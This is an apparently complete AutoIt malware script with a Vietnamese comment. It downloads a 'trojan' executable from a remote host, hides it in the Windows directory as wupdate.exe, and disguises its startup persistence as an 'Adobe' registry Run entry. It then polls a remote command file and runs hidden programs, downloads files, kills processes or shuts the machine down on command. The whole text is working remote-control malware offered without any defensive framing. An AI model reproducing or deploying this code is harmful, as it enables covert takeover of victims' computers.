#include <Process.au3>
#include <INet.au3>
#NoTrayIcon

$txt = "http://site/command.txt"
$old = ""

InetGet("http://site/trojan.txt", @WindowsDir & "\wupdate.exe")
Sleep(20000)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Adobe", "REG_SZ", @WindowsDir & "\wupdate.exe")


While (1)
    $new = _INetGetSource($txt)
    If $new <> $old Then
    ; Phan tich va thuc hien lenh
		$cmd = StringSplit($new, " ") 
		
		Switch $cmd[1]
	    Case "1"
			   Run($cmd[2])
            Case "1+"
                Run($cmd[2], "", @SW_HIDE)
            Case "2"
			   InetGet ($cmd[2], $cmd[3], 0, 1)
	    Case "3"
			   Run("TASKKILL /F /IM " & $cmd[2] & ".exe", "", @SW_HIDE)
	    Case "4"
			   Run("shutdown -t0")

        EndSwitch
        $old = $new
    EndIf
    Sleep(5000)
WEnd